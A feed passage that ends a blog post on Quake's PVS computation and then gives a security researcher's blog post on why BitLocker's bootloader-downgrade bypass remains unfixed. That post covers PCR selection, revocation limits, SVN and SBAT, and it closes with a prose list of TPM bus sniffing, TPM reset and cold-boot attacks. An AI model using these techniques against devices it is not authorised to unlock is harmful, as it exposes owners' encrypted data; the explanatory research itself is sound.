        src_clipped = clip_to_separators(
          pass_poly, pass_plane, target_poly, src_clipped, backside=True
        )
        if not src_clipped:
          continue

      # If all the checks passed we enter the leaf behind portal 'Pt'.
      # The old target portal becomes the new pass portal. The 'might'
      # list is now filtered more. Both 'src_clipped' and 'target_poly'
      # polygons may have been clipped smaller.

      leaf_flow(Pt.leaf, might, src_clipped, Pt.plane, target_poly)

  leaf_flow(Ps.leaf, Ps.mightsee, Ps.winding, Ps.plane, None)
  portal_done[ps] = True

This is code directly from vis.py with a couple of extra comments. In the end it isn’t much simpler than the original RecursiveLeafFlow function.

One thing that can look worrying at a first glance is the fact that the graph has cycles but the traversal can visit leaves many times. In practice it’s not a problem because the progressively thinning mightsee array stops the traversal before it gets stuck in a loop.

Process simpler portals first

Let’s talk about an important performance optimization next. We call portal_flow for each portal in “complexity” order. In this case, portal’s “complexity” means how many leaves were estimated to be possibly visible in the coarse pass. Portals with small numbers are processed first.

This is the part of the above code where the stricter vis array is used instead of the lax mightsee results:

      # Use the final visibility array if the portal has been processed
      if portal_done[pt]:
        test = Pt.vis
      else:
        test = Pt.mightsee

      # Filter away any leaves that couldn't be seen by earlier portals
      might = np.bitwise_and(mightsee, test)

The big idea is that portals leading to smaller areas have been done earlier, so larger areas can use their final results for early outs.

Leaf visibility through portals

Each leaf can see other leaves only through its portals. That’s why a leaf’s potentially visible set is the union of its leaving portals’ PVS’s.

A leaf’s potentially visible set is the union of its portals’ sets.
portal
 1 . x x . x x x x . . x 
 2 x . . . . . . . . . . 
 3 . . x x x x x x . . x 
 4 x x . . . . . . . . . 
 5 . . . . x x x x x . x 
 6 x x x . . . . . . . . 
 7 . . . x . x x x . . x 
 8 . x x . . . . . . . . 
 9 . . . . . x x x . . . 
10 . . x x . . . . . . . 
11 . . . . . x x x x . x 
12 x x x . x . . . . . . 
13 . . . . . . x x x . x 
14 x x x x x x . . . . . 
15 . . . . . . . x x . x 
16 x x x x x x x . . . . 
17 . . . . . . . . . . x 
18 x x x . x x x x . . . 
19 . . . . . . . . x x . 
20 . . x . x x x x . . . 
21 . . . . . . . . . x x 
22 . . . . . . . x x . . 
23 . . . . . . . x . . x 
24 . . . . . . . . x x . 
   1 2 3 4 5 6 7 8 91011 leaf


The resulting leaf-to-leaf visibilites are represented by a square boolean matrix I dubbed final_vis:

leaf
 1 x x x . x x x x . . x 
 2 x x x x x x x x . . x 
 3 x x x x x x x x x . x 
 4 . x x x . x x x . . . 
 5 x x x . x x x x x . x 
 6 x x x x x x x x x . x 
 7 x x x x x x x x x . x 
 8 x x x x x x x x x x x 
 9 . . x . x x x x x x x 
10 . . . . . . . x x x x 
11 x x x . x x x x x x x 
   1 2 3 4 5 6 7 8 91011 leaf
The final leaf-to-leaf visibility matrix.

You can see the intermediate portal_vis matrix on the left. In these the symbol x means visibility.

Taking the union of sets represented as boolean arrays or bitvectors can be done with the logical OR operation. We loop over portal_vis’s rows and OR the per-portal results to per-leaf rows of the final_vis array that gets written to the BSP file.

# Compute final per-leaf visibility
final_vis = np.zeros((num_leaves, num_leaves), dtype=bool)

for li, leaf in enumerate(leaves):
  for pi in leaf.portals:
    np.bitwise_or(final_vis[li], portal_vis[pi], out=final_vis[li])
  final_vis[li, li] = True  # leaf is visible to itself

In the game

The vis tool writes the final leaf-to-leaf visibility matrix straight into to the already-compiled mapname.bsp file. The serialization code packs the the matrix rows first to a series of bitvectors, and then compresses each with run-length encoding that skips repeated zero bytes.

In the game, decompression is done on demand. Therefore the full matrix is never fully loaded in memory.

Enjoying the results

It’s a great feeling to go from some portals loaded in a Python program

to the actual game!

The PVS working in the Quakespasm source port. The rest of the map is hidden when moving right, as expected.

Here’s also a low-quality video of the example map’s PVS. Unfortunately, I’ve yet to process the full E1M1 with vis.py since it’s so slow.

Making it faster

I have to admit that vis.py is very slow. There’s still room for some optimizations.

The first is multiprocessing. It’s simple to process each portal in parallel. This was already done in the original vis that ran on a four-core DEC Alpha server. In Python this could be done with the standard library’s worker pool and a shared memory array that’s fed as the backing storage to numpy arrays via np.frombuffer

From ericw-tool’s vis.cc and flow.cc files we can find some new tricks:

  • Bounding sphere tests for portals to avoid testing all their points.
  • Filtering the mightsee arrays quicker. Occasionally during fine visibility leaf traversal, every other portal is tested against the current source-pass portal sequence. The approach bears some similarity to Doom 3’s simpler PVS introduced in the next section.
  • Caching: Their separator clipping code resus some planes from earlier tests. It’s unclear to me how exactly it works.

In C and C++ implementations, the recursion stack is managed manually. I’m not sure if that would be a win in Python code though.

Looking back

Precomputed visibility made it possible for Quake maps to have more polygons with stable framerates. It didn’t eliminate overdraw but kept it at a manageable level at minimal runtime cost.

Even though Seth Teller’s 1992 dissertation already presents a method for static precomputed visibility (and John Airey in 1990), it was a late addition to Quake. Originally the BSP tree was chosen to render the world front to back with a beam tree, but in the end was used to partition the world for the PVS and do collision testing. A BSP tree can be traversed in visibility order but this property was not needed at all, since Quake’s span renderer resolved visibility on its own anyway.

The PVS stuck around a long time in Quake’s sequels and other game series such as Half-Life and Counter-Strike. Even today you can compute something like that in Unreal Engine 5.

Is the PVS a good idea?

Workflow-wise, it’s not great. Level designers always have to wait before they see how well a map performs in game. They also need to think about irrelevant technical concepts such as hint brushes. Quake’s tools also expect a map to be perfectly sealed; watertightly split in interior and exterior sides. Breaking this assumption results in errors about “leaks” that makes the PVS computation fail. I don’t think anyone misses those.

Marketing-wise, high visual fidelity is great. Quake was obviously targeted to make a splash with its solid, texture-mapped 3D worlds. A stable framerate helps to sell the illusion. Since engineering is always about tradeoffs, it meant the worlds had to be static and the level designers patient. Slow iteration times might have made the game design less ambitious, resulting in a worse product. The game’s development was troubled in any case, and it’s not clear if faster map compilation speeds would’ve improved the situation though.

What if you compute the PVS real fast?

Apparently in Doom 3 they went with hand-placed portals tested at runtime and a level load-time PVS. The coarse pass is similar to Quake but the fine pass is quicker.

First they precalculate what portals are possibly visible through any pair of source and pass portals. In the code this per-portal-pair array is called a “passage” and is computed with separating planes and clipping like in Quake. When it’s time to recursively flood through the portal graph, no clipping needs to be done. Instead they check in the passage arrays if a target portal can be seen through the current source and pass portals. The set of possibly visible portals gets sparser as the recursion progresses, like the mightsee array did earlier.

Overall the whole process appears really fast. I searched for its debug log messages online and found this 2007 result for the game/erebus1 map:

512 bytes passage memory used to build PVS
1 msec to calculate PVS
36 areas
60 portals
6 areas visible on average
288 bytes PVS data

Only 60 portals! In comparison, Quake’s first map has 3077 portals. Waiting milliseconds during loading sure is better than hours during map compilation. Of course, the level designers are now responsible for placing the portals and levels still have to be sealed.

It’s intriguing to think how the Doom 3 approach would’ve worked in Quake. In complex vistas you’d still need to clip many portals, but you’d have the PVS there to help and fewer portals overall. Would make a great retro research project! :) See the end for relevant source code references.

Farewell

For me personally, writing vis.py was very educational. I had to learn how to really work with plane equations, read up on portals, and exercise my debugging skills. Making my code easy to read and writing about it forced me to clarify many details, which wouldn’t have happened by just reading some code.

Finally, I hope you found this series helpful, inspirational, and perhaps even entertaining. Even if you’re not rolling your own vis, now you should appreciate where it came from and why. Computer graphics was and still is a great field for inventors.

Resources for development

The vis.py repo is on GitHub. A local copy: vis_py.zip.

Some links to Doom 3’s portal and PVS implementations. The code uses the term “area” instead of a “leaf” since they now refer to not-necessarily-convex cells.

Map and portal data

Here are two test maps I made. Note that portal and leaf indexing starts at zero in these files. In this article series I’ve used one-based indexing in diagrams and worked-out examples.

The example map

The first rooms of E1M1

I botched the door speed here, sorry about that.

Acknowledgements

Thanks to the usual suspects for proofreading and good commentary on early drafts. Thanks to the HN commenter dahart for bringing up the UE5 PVS. Finally, thank you J for encouraging me pursue my crazy projects.


I’m also thinking of writing a book. Sign up here if you’re interested.

]]>
https://30fps.net/pages/pvs-portal-flow/ hacker-news-small-sites-42752508 Sun, 19 Jan 2025 00:10:52 GMT
<![CDATA[Why Microsoft hasn't fixed BitLocker yet]]> thread link) | @nsdfg
January 18, 2025 | https://neodyme.io/en/blog/bitlocker_why_no_fix/ | archive.org

This Blogpost is an addition to Windows BitLocker — Screwed without a Screwdriver. In that post, we looked at how easy it is to break into BitLocker’s default “Device Encryption” configuration on up-to-date Windows systems by simply downgrading the Windows Bootloader.

One significant question that we haven’t yet addressed is: Why is this possible? Why hasn’t Microsoft fixed this yet? The answer is both simple and complicated. I fell into a rabbit hole investigating this and will share my findings here. I’ll first lay some groundwork on how Secure Boot and the TPM work, discuss PCRs and which one you might use for BitLocker, and explore the ecosystem’s future with SVT, SBAT, and key rotations that might brick your motherboard.

Rather watch a talk than read? Parts of this blog are talked about in my 38C3 Talk, linked at the bottom.

Secure Boot - How does it even work?

To understand the challenge of fixing the bootloader downgrade issue, we first need to explore how Secure Boot works and how it interacts with BitLocker. The first concept you need to know are “Measurements”. Measurement are for example: “I am now booting a bootloader with hash XYZ”, or “The Floppy-Drive is my default boot device.”

Using those, the secure booting process has two components: Measured Boot and Verified Boot.

Measured Boot records the integrity of the booted system, in a way that others can verify it. It records all boot components and allows the implementation of features like remote attestation, or that only trusted Windows boots can unlock BitLocker.

Secure/Trusted/Verified Boot runs integrity checks, and makes decisions about what is allowed to boot. This runs on different levels, and can be called different names depending on the context. For example, with Secure Boot, only binaries signed by Microsoft are allowed to boot. In practice, two default certificates are installed on pretty much everything:

  • Microsoft 1st party certificate, which signs all Windows bootloaders
  • Microsoft 3rd party certificate, which signs everything else we commonly understand to boot under Secure Boot, like Linux shims.

Further, Secure Boot distinguishes two boot-phases: the boot phase and the post-boot environment:

Boot phase: This includes everything from early boot up to running the OS — platform initialization, UEFI, early PCI-init, linux-shim, the bootloader. In the eyes of Secure Boot the integrity of these components is very important and nothing used in this phase should be malicious or vulnerable.

Post-boot environment, or runtime environment RT. It starts with the execution of the operating system kernel. While Secure Boot still applies protections here, this phase is considered less critical for the scope of Secure Boot. Operating system kernels are massive and inherently more vulnerable, and protections here are more “best effort.” For example, as we’ve seen during our lockdown bypass, the Linux kernel on Microsoft-signed distributions goes into lockdown mode automatically to protect against compromise, but this is bypassable.

To achieve these goals, Secure Boot relies on a “trusted” measurement device: the Trusted Platform Module (TPM). TPMs come in two variants: firmware-based (fTPM), which is integrated into the CPU’s management code, or discrete hardware-based (dTPM), which is a separate chip on the motherboard. Additionally, there are two major protocol variants, 1.2 and 2.0. They are similar-ish enough for our purposes, so we can ignore the differences here. The two most relevant functionalities for us are Platform Configuration Registers (PCRs), which keep track of the measurements, and the ability to perform cryptography based on established rules. Let’s look at those two more in detail:

Platform Configuration Registers (PCRs)

A Platform Configuration Register stores a hash, commonly sha256. There is no way to directly set a PCR to a specific value. Instead, we have to add “measurements” to them. This process involves combining the existing PCR content with a new measurement, hashing the result, and storing it back in the register. Additionally, each measurement is stored in an Event Log outside the TPM:

Image 1: Platform Configuration Register

By reading the Event Log and the PCR content, we can verify that all events in the event log were actually measured in the PCR and that no events are missing. Most platforms have 24 PCRs, with the first 8 used during the “early boot” phase. Notably, the first 16 cannot be reset except during a cold reboot. Once a measurement is hashed into one, it cannot be removed.

Here is what PCRs look like on a Windows 11 machine after boot:

Image 2: PCRs on Windows 11 after boot

As you can see, only the early-boot PCR0-7 and PCR11-14 are in use.

How does data get into PCRs? The boot process of modern computers is really quite involved. There are lots of different components from different manufacturers loading each other. A simplistic view might be:

  1. Platform
  2. UEFI
  3. Bootloader
  4. Kernel

Each of those components adds its own measurements. Simplified: There is a root of trust in the CPU. That is used to verify the first stage, the platform. The platform then hashes and/or signature-verifies the UEFI. The results are “measured” into PCR registers. It then adds a “separator” into all PCRs and hands execution off to the UEFI if verification succeeds. The UEFI now performs the same process for the bootloader, which in turn checks the kernel. This creates a trust chain, where each component verifies and measures the next one. As long as each component in the chain is trusted, everything is fine. But one component can never lie about itself, since the component before it took the hash.

Alright, that’s all fine and good, but what exactly goes into the PCRs?

What goes in which PCR?

Great question! It’s not easy to answer satisfactorily without devoting an entire blog post to this. So, let’s link some more detailed resources, in case you’d like to dig deeper. For the early-boot PCRs, there are specs: TCG_EFI_Platform_1_22_Final_-v15.pdf and TCG PC Client Platform Firmware Profile Specification (e.g., look for “Design Consideration and Distinctions Between PCR[0], PCR[2], and PCR[4]”). Another helpful high-level overview is provided in the Tianocore Documentation. While the exact contents differ from platform to platform, here’s a general breakdown of PCR contents:

  • PCR0 measures the manufacturer-provided firmware executable (e.g., UEFI, embedded UEFI drivers)
  • PCR1 measures the manufacturer-provided firmware data (e.g., microcode, ACPI Tables, Boot-Order)
  • PCR2 measures the user-configurable firmware code (e.g., PCI cards)
  • PCR3 measures the user-configurable firmware data (e.g., PCI cards)
  • PCR4 measures the bootloader code (usually from disk)
  • PCR5 measures the bootloader data (usually from disk)
  • PCR6 measures manufacturer-specific stuff (e.g., resume events from S4 or S5 power state events)
  • PCR7 measures the Secure Boot state
  • PCR11 is an OS-specific PCR. In Microsoft’s case, the bootloader uses it to “lock” VMK key derivation when booting the operating system. No process after the Microsoft bootloader can ever unseal a correct VMK via the TPM.

A great resource to learn more about PCR measurements is by examining the specific values on your system. Each measurement corresponds to an entry in the Event Log, which can be viewed using system tools:

  • Windows: Use tpmtool.exe.
  • Linux: Use tpm2-tools to run sudo tpm2_eventlog /sys/kernel/security/tpm0/binary_bios_measurements.

Lets briefly look at some relevant events.

  1. The platform measures the firmware code into PCR0:
- EventNum: 2
 PCRIndex: 0
 EventType: EV_EFI_PLATFORM_FIRMWARE_BLOB
...
  1. The platform measures that secure-boot is enabled into PCR7:
- EventNum: 3
 PCRIndex: 7
 EventType: EV_EFI_VARIABLE_DRIVER_CONFIG
 DigestCount: 2
 Digests:
 - AlgorithmId: sha1
 Digest: "d4fdd1f14d4041494deb8fc990c45343d2277d08"
 - AlgorithmId: sha256
 Digest: "ccfc4bb32888a345bc8aeadaba552b627d99348c767681ab3141f5b01e40a40e"
 EventSize: 53
 Event:
 VariableName: 8be4df61-93ca-11d2-aa0d-00e098032b8c
 UnicodeNameLength: 10
 VariableDataLength: 1
 UnicodeName: SecureBoot
 VariableData: "01"
  1. EFI Boot drivers are measured into PCR2:
- EventNum: 12
 PCRIndex: 2
 EventType: EV_EFI_BOOT_SERVICES_DRIVER
...
  1. UEFI application is measured into PCR4:
- EventNum: 17
 PCRIndex: 4
 EventType: EV_EFI_BOOT_SERVICES_APPLICATION
...
  1. A “separator” is hashed into all PCR0-6, so no later component can “fake” more measurements and pretend an earlier component made them:
- EventNum: 35
 PCRIndex: 0
 EventType: EV_SEPARATOR
...
  1. The Secure Boot Database is measured into PCR 7:
- EventNum: 45
 PCRIndex: 7
 EventType: EV_EFI_VARIABLE_AUTHORITY
...
 Event:
...
 UnicodeName: db

In total, there are around 100 different measurements on my device.

TPM Cryptography

Alright, now that we have filled the PCRs with those magic numbers and roughly know what they represent, what can we actually do with them?

This is where the TPM’s cryptographic capabilities come into play. We can encrypt (or “seal”) values with the TPM, and apply a policy to only unlock those values when certain conditions are true. For instance, we could create a policy that only allows unsealing a key when PCR7 has a specific value or if the user provides a specific password. We can also combine multiple of those rules into a single policy.

BitLocker makes extensive use of that. The encrypted secrets themselves aren’t stored on the TPM, so they don’t take up precious high-security storage space. Instead, the TPM is used to validate the decryption request. You provide the encrypted key to the TPM, and if the policy conditions are met, the TPM unseals the data. If the policy doesn’t match, the request fails. In case of BitLocker, there is a great blogpost digging into how that looks exactly: A Deep Dive into TPM-based BitLocker Drive Encryption .

Selection of PCRs for Microsoft BitLocker

Great! We can use a TPM policy to unseal our VMK! But how do we determine the “correct” policy for this? Should we require a user password? Should we just use all available PCRs or select some? BitLocker gives you flexibility here. It can require a preboot password from the user or rely entirely on PCR values for automated unlocking. The latter is “easier” to use since users don’t have to remember and enter an additional password for each boot (very convenient). However, it is also less secure: If an attacker can manipulate the PCR values to match those of a legitimate environment, they could potentially derive the VMK.

On enterprise Windows, Microsoft BitLocker can be configured to use any PCR you like. It’s always a tradeoff between security and usability. Say, we seal the VMK to the value of PCR4, the bootloader code. Then, any bootloader update at any time will render the disk unable to automatically unseal, requiring the user to input the recovery password. To handle anticipated changes in the PCR values, we have some options. For example, we could:

  1. Disable BitLocker protection temporarily just before the reboot, then reboot once, and then reseal the VMK to the new PCR values. This will leave the disk unprotected for a short while.
  2. Simulate the expected PCR changes, then seal the VMK to the new values before rebooting. This method depends on the accuracy of the simulation :)

Luckily, most bootloader updates are handled via the Windows update function, giving Microsoft an opportunity to ensure the process goes smoothly. However, this has limits, as Microsoft doesn’t control much of the code that makes the measurements. Say, for instance, there is a UEFI update available. This will definitely cause PCR0 to change, as this contains the hash of the UEFI firmware. But the now updated UEFI is responsible for measurements itself. A firmware vendor could make changes to the measurement order or modify other PCR-related events in such an update. This makes predicting the outcome much more challenging.

Further complications arise when users manually update their BIOS or apply updates using third-party motherboard software. Enterprise-level threat detection tools can also interfere. Essentially, PCR values aren’t guaranteed to be stable across all systems. While there are systems where that works perfectly, if you are Microsoft and have millions of customers with devices, some will behave weirdly.

With that in mind, let’s consider the two variants of PCRs Microsoft used in the past:

  • Legacy configuration: PCR 0,2,4,11. This locks the code of all UEFI, PCI cards, and bootloader via their respective hashes. Every upgrade or downgrade would cause a mismatch, forcing a recovery key promt.
  • Current configuration: PCR 7,11 and Secure Boot-based. Relies on Secure Boot (PCR7) for stability and PCR11 for the custom “lockout” mechanism that ensures no one beyond the bootloader can unseal the VMK. While less secure than the legacy configuration, this approach is more user-friendly and recovery-resistant.

Microsoft explains their reasoning in this documentation

Modern Standby hardware is designed to reduce the likelihood that measurement values change and prompt the customer for the recovery key.

For software measurements, Device Encryption relies on measurements of the authority providing software components (based on code signing from manufacturers such as OEMs or Microsoft) instead of the precise hashes of the software components themselves. This permits servicing of components without changing the resulting measurement values. For configuration measurements, the values used are based on the boot security policy instead of the numerous other configuration settings recorded during startup. These values also change less frequently. The result is that Device Encryption is enabled on appropriate hardware in a user-friendly way while also protecting data.

For some additional reading on challenges related to PCR selection, I recommend a discussion around usage of PCR0 in fwupd, and some more writing by Lennart Poettering on the Future of Encryption in Fedora desktop variants.

A Wild Patch Appears - The PCR4 Scare

At one point during my research, when I had just gotten the BitPixie Exploit to work, I shared it with a coworker who wanted to reproduce the results. I have to admit - my documentation wasn’t great but even when discussing the issues, the exploit just wouldn’t work for him. Turns out: Microsoft had rolled out a patch to re-include PCR 4 into the default Device Encryption configuration! They had even migrated the TPM protectors on devices that applied the update, from PCR 7,11 to PCR 4,7,11. They had done this as a reaction to CVE-2024-38058, “BitLocker Security Feature Bypass Vulnerability”.

With this, they pinned the bootloader by both hash and Secure Boot status. Downgrades were still possible, but the TPM would refuse to unseal the VMK, since PCR4 would mismatch. But recall what we said earlier? How might we not want PCR4 as this increases the likelihood of BitLocker recovery screens when the automated unlock fails for some reason? Well…

This has made a lot of people very angry and been widely regarded as a bad move

Image 3: Newspaper headings after 2024/07 update

So, just one month later, they undid the fix!

Why was the fix for this vulnerability disabled and how can I apply protections to address this issue?

When customers applied the fix for this vulnerability to their devices, we received feedback about firmware incompatibility issues that were causing BitLocker to go into recovery mode on some devices. As a result, with the release of the August 2024 security updates we are disabling this fix. Customers who want this protection can apply the mitigations described in KB5025885.

This is an excellent example of why it is so complicated for Microsoft to fix this class of issues: Anything they change will break at least some systems.

Secure Boot Certificates

One way in which Microsoft could make changes is through Secure Boot certificates. Secure Boot is in its own little ecosystem there.

Only specifically signed programs can boot when Secure Boot is enabled in UEFI. This is done with a certificate chain and a full key hierarchy. It starts off with a “Platform Key” that is embedded in the firmware:

  • PK - PlatformKey. Vendor controls this, usually rsa2048. Manages KEK.
  • KEK - Key Exchange Key, rsa2048.
    • Could directly sign bootable content, usually doesn’t.
    • Can update DB and DBX.
  • DB - Signature Database. List of sha256hash OR rsa2048 public keys of certs, that are ALLOWED to run.
  • DBX - Database of FORBIDDEN hashes/signatures.

On Linux, when using shim, we additionally have:

  • MOK - Machine Owner Key. List of hashes/pubkeys. User can provide this.
  • MOKX - Machine owner deny list.

On almost all devices, the default Microsoft certificates are enrolled:

  • 1x KEK from Microsoft: Microsoft Corporation KEK CA 2011
  • 2x DB key from Microsoft:
    • 1st party cert: Microsoft Windows Production PCA 2011 (used for signing Microsoft 1st party bootloaders)
    • 3rd party cert: Microsoft UEFI CA 2011 (used, e.g., for Linux shim, a Linux UEFI secure boot compatible bootloader)

This creates two “classes” of signed bootloaders: Windows native and “other”. PCR7 contains a measurement with the following information: (1) secure boot is enabled, (2) both the available secure boot keys and revocations, and (3) which certificate was actually used to sign the bootloader. This makes it easy for Microsoft to make the distinction that all legit Windows bootloaders (i.e., those signed with PCA2011) can unseal BitLocker disks, whereas no other bootloader is allowed to do so.

In case you want to customize the contents of your Secure Boot setup, there is a document by the NSA that goes a lot deeper here: UEFI Secure Boot Customization. It discusses the trust chain, what each signing component does, and how you might update PK/ KEK/ DB/ DBX/ MOK/ MOKX.

Revocations, They Scream!

We have a certificate-based system, right? Isn’t revocation a thing? If we have a known vulnerable bootloader, can’t we just revoke it? Shouldn’t this be solved? Well, yes! It would be great if we could revoke all vulnerable bootloaders. In fact, we could! That is precisely what the DBX database is for. Except… The standard doesn’t really consider those kinds of mass-revocations. The space available for revocations is quite limited, usually 32kB. All of the Microsoft bootloaders are signed by the same certificate, so we cannot just revoke some intermediate-cert. If we want to revoke every old Microsoft bootloader for the last 15 years (as they all have this bug), we would need to revoke every single signature. There is no version-based revocation or the like in the specification!

And that’s not all! Microsoft has to share that sparse revocation space with all 3rd party revocations, as we can see from a comment in the shim documentation:

As part of the recent “BootHole” security incident CVE-2020-10713, 3 certificates and 150 image hashes were added to the UEFI Secure Boot revocation database dbx on the popular x64 architecture. This single revocation event consumes 10kB of the 32kB, or roughly one-third, of revocation storage typically available on UEFI platforms. Due to the way that UEFI merges revocation lists, this plus prior revocation events can result in a dbx that is almost 15kB in size, approaching 50% capacity.

All official Microsoft DB/DBX contents are available on GitHub, with an amazingly detailed writeup by auscitte of how they get rolled out.

But wait! What is stopping us from revoking the primary cert? As it turns out, nothing! (*well, actually, quite a lot, but in theory…)

A Way Forward: Rolling the Secure Boot Certificates (KB5025885)

Microsoft controls the KEK on most devices and could, as such, update both the DB and DBX databases at will. In fact, this is precisely what their recommended solution (KB5025885) to these issues does: Blacklist the old PCA2011 certificate, and add a new 2023 one to DB. Microsoft already offers bootloaders signed with the new key. If you opt-in, downgrades to older bootloaders are no longer possible.

This has some usability issues, though. Old boot media will fail to boot, making it more difficult to recover such a system. Also, DB/DBX updates on this scale have never been done. There are, for sure, scruffy vendors out there that will have bugs when the primary Microsoft keys are revoked. There is a section of known issues in the KB (they don’t go into details about the issues, though).

Making changes to Secure Boot, with a lot of vendor UEFIs in the mix that might not be entirely up-to-spec, and rolling Secure Boot certificates, which has never been done at scale before… I’m sure this will just work splendidly! Though, in all honesty, I wish them the best of luck.

This issue with dwindling revocation space coincides with the expiration of the old certificates in October 2026, so Microsoft has to roll them anyway. Old systems will likely continue to boot, even with expired certificates but they might not get the latest security patches. More great info on this whole rolling Secure Boot keys plan is available in form of a presentation by Microsoft engineers held at ‘UEFI Fall Conference’ in October 2023: Evolving the Secure Boot Ecosystem. They have excellent quotes such as

Some OEM specific firmware implementations prevent updates to the Secure Boot variable store or brick a system entirely.

That’s Not Enough! The KEK Expires as Well!

Well, shit. DB and DBX updates of our signing keys aren’t enough, the KEK expires in 2026 as well. If Microsoft wants to keep the ability to make DB/DBX updates, they’ll need to roll the KEK as well. However, that can only be updated by the Platform Key PK, which vendors hold. -> This requires the help of all vendors. If they have trashed their keys, better hope there is a way to replace them! Going back to the UEFI presentation linked earlier:

In fact some number of devices will likely become un-serviceable due to this event.

What Microsoft likely means here is that some platforms simply can’t receive DB/DBX updates — not that they won’t boot at all. It helps explain why the issue remains unresolved: Microsoft has neither announced a concrete timeline for a fix nor stuck to a single plan, and any course of action is bound to generate negative press in the coming years. The added security benefits are difficult to explain, and secure boot already faces resistance from many users.

How to Prevent This Going Forward: SVN

Rolling certs is all well and good, but how do we prevent the same issue of a lack of revocation space in the future? SVN! No, not subversion, Secure Version Number. This is a rollback protection that does not rely on certificate revocations, implemented in the bootloader itself. Little public information is available, as far as I know, but the plan seems similar to what Linux is planning with SBAT, described in the next section.

The main idea is that UEFI has a bit of storage in non-volatile memory, that a bootloader can use to store data. Further, the bootloader can specify that only the boot environment is allowed to access/write that data. Those variables are locked down as soon as we exit the boot phase and enter the runtime environment. This makes it possible for a bootloader to have a “Secure Version Number” that can be compared to the one stored in NVRAM. When the own number is greater, store the greater number. When it is lower, refuse to boot.

This makes it possible to revoke a whole class of bootloaders at once, without having to deal with certificates or revocations. This opens up new attack surfaces and ideas where an attacker might be able to influence this NVRAM, reset contents, and get old bootloaders to boot anyway. Yet, it is still strictly better than the old solution, which is not to be able to revoke known vulnerable bootloaders at all. Bootloaders installed after applying KB5025885 already support SVN. Every time the SVN is bumped, all old boot media, containing an old bootloader with old SVN, will refuse to boot on updated systems. However, this is fully intended here.

The Linux Side of Things: SBAT

Let’s now look at the Linux side of things, just for giggles. Could changes be coming here as well?

The most notable change is the introduction of SBAT (Secure Boot Advanced Targeting). This is the Linux shim equivalent of Microsoft’s SVN, and is already enforced in most distributions. The best documentation on SBAT is available from the shim documentation. The rough idea is similar to the SVN: We want to be able to revoke much more easily.

At the time of this writing, revoking a Linux kernel with a lockdown compromise is not spelled out as a requirement for shim signing. In fact, with limited dbx space and the size of the attack surface for lockdown it would be impractical do so without SBAT. With SBAT it should be possible to raise the bar, and treat lockdown bugs that would allow a kexec of a tampered kernel as revocations.

SBAT has already been rolled out, so we can briefly examine how it looks in practice.

For example, the current Debian Shim includes the following (hardcoded) SBAT limits:

sbat,1,2022052400
grub,2
sbat,1,2023012900
shim,2
grub,3
grub.debian,4

When shim boots grub, it reads first checks the signature. If it checks out, it reads the metadata contained in grub itself to see what security level Grub advertises. If it is lower than expected, it refuses to boot. In grub metadata, this looks like:

sbat,1,SBAT Version,sbat,1,https://github.com/rhboot/shim/blob/main/SBAT.md
grub,3,Free Software Foundation,grub,2.12~rc1,https://www.gnu.org/software/grub/
grub.debian,4,Debian,grub2,2.12~rc1-3,https://tracker.debian.org/pkg/grub2
grub.debian13,1,Debian,grub2,2.12~rc1-3,https://tracker.debian.org/pkg/grub2
grub.peimage,1,Canonical,grub2,2.12~rc1-3,https://salsa.debian.org/grub-team/grub/-/blob/master/debian/patches/secure-boot/efi-use-peimage-shim.patch

In this case, we have grub version 3 and grub.debian version 4, so are allowed to boot. The SBAT versions that the shim checks against itself are stored in NVRAM again:

Image 4: Contents of NVRAM showing the SbatLevel

Note that these SBAT values can be written by any bootloader. Microsoft recently, in their 08/24 security update, updated the sbat values to revoke vulnerable grub bootloaders. This caused a lot of problems for folks with dual-boot setups. Their Linux, previously booting fine, suddenly refused to boot after applying a Windows background update, with an inscrutable error message: Verifying shim SBAT data failed: Security Policy Violation (Can’t boot Debian 12. Security Policy Violation).

One other issue that came up again with SBAT was the recent push towards eliminating bootloaders and directly booting into a Linux kernel. This concept, known as the “unified kernel image” (UKI), offers several advantages. However, it also exposes some challenges. The upstream Linux kernel community often takes the stance that only the latest version of each tree is secure. This led to an extensive discussion on mailing lists and LWN. If you are in need for some good quotes, go and read LWN: Much ado about SBAT. The issues surfaced there are indeed quite complex: Who determines this security version number? Patches might get downstreamed non-linearly, so it’s hard for a single number to capture the complexity of security. What bug is “severe” enough to warrant a bump in that number?

If you want to dig deeper into unified-kernel-images and Linux booting in general, a good starting point are some resources by Lennart Poettering: Brave New Trusted Boot World, a discussion on LWN about that, as well as some forum posts here.

Sidenote: Machine Owner Keys: When you read about Linux Secure Boot, sooner or later you’ll come across Machine Owner Keys, or MOKs. These keys enable users to add custom signing keys into a Linux Shim, allowing secure boot for custom kernels or kernel modules. The MOK itself is stored in this same NVRAM section as the SBAT and SVN data. Changes to the MOK can only be made through the MOKManager, which is executed before entering the runtime environment where the Linux kernel starts. This separation ensures the MOK is protected even from kernel-level changes. However, if you use a default Ubuntu signed shim and install your own MOK, you are still relying on the Microsoft 3rd party certificate.

Other Attacks Against BitLocker

To wrap up this research, let’s revisit BitLocker and explore other potential attack vectors. While the following list is not exhaustive, it highlights the complexity of achieving secure TPM-only encryption. Some more are detailed in Wack0’s excellent GitHub repository on BitLocker attacks, which served as inspiration for this exploration.

The list here is incomplete, but it gives a good overview of just how difficult TPM-only encryption is to get right. There are three main exploit categories:

  1. Attack the bootloader or Windows after it has unsealed the key. For example, consider CVE-2022-41099 – Analysis of a BitLocker Drive Encryption Bypass. This vulnerability exploited a flaw in the Windows recovery environment. By resetting the computer and choosing to “remove everything,” an attacker could reset the system at approximately 98% progress, bypassing encryption safeguards. Thankfully, this issue has been patched in all updated systems, as the flaw was relatively straightforward to fix.
  2. ”Reset” PCR states, while retaining code execution. There are both hard- and software attacks that allow resets to the PCR registers, which could then be filled with bogus measurements.
  3. Break or compromise the TPM hardware. Directly attack the TPM chip to access key material, or unlock with wrong policies.

TPM hardware attacks

As far as hardware attacks go, your have to distinguish between discrete (dTPM) and firmware (fTPM). Discrete TPMs are a separate chip on the board, and can be much more easily accessed.

dTPM: Just sniff the bus! It is unencrypted, and transfers the BitLocker VMK in plaintext.

dTPM: While the system is offline, power on just the TPM and put arbitrary values on the bus. You can unseal anything you know PCR measurement logs for.

dTPM: While the system is running, reset the TPM by pulling either power or reset pins low. This can be done with a set of tweezers.

fTPM: Has known fault-injection attacks on AMD (faulTPM)

Cold boot attack: Leak key from RAM after bootloader unsealed it, by resetting the PC and booting into something else.

  • Microsoft says: “To defend against malicious reset attacks, BitLocker uses the TCG Reset Attack Mitigation, also known as MOR bit (Memory Overwrite Request), before extracting keys into memory.”
  • This relies on UEFI implementing this overwrite request correctly, though.
  • Recent blog: Dumping Memory to Bypass BitLocker on Windows 11
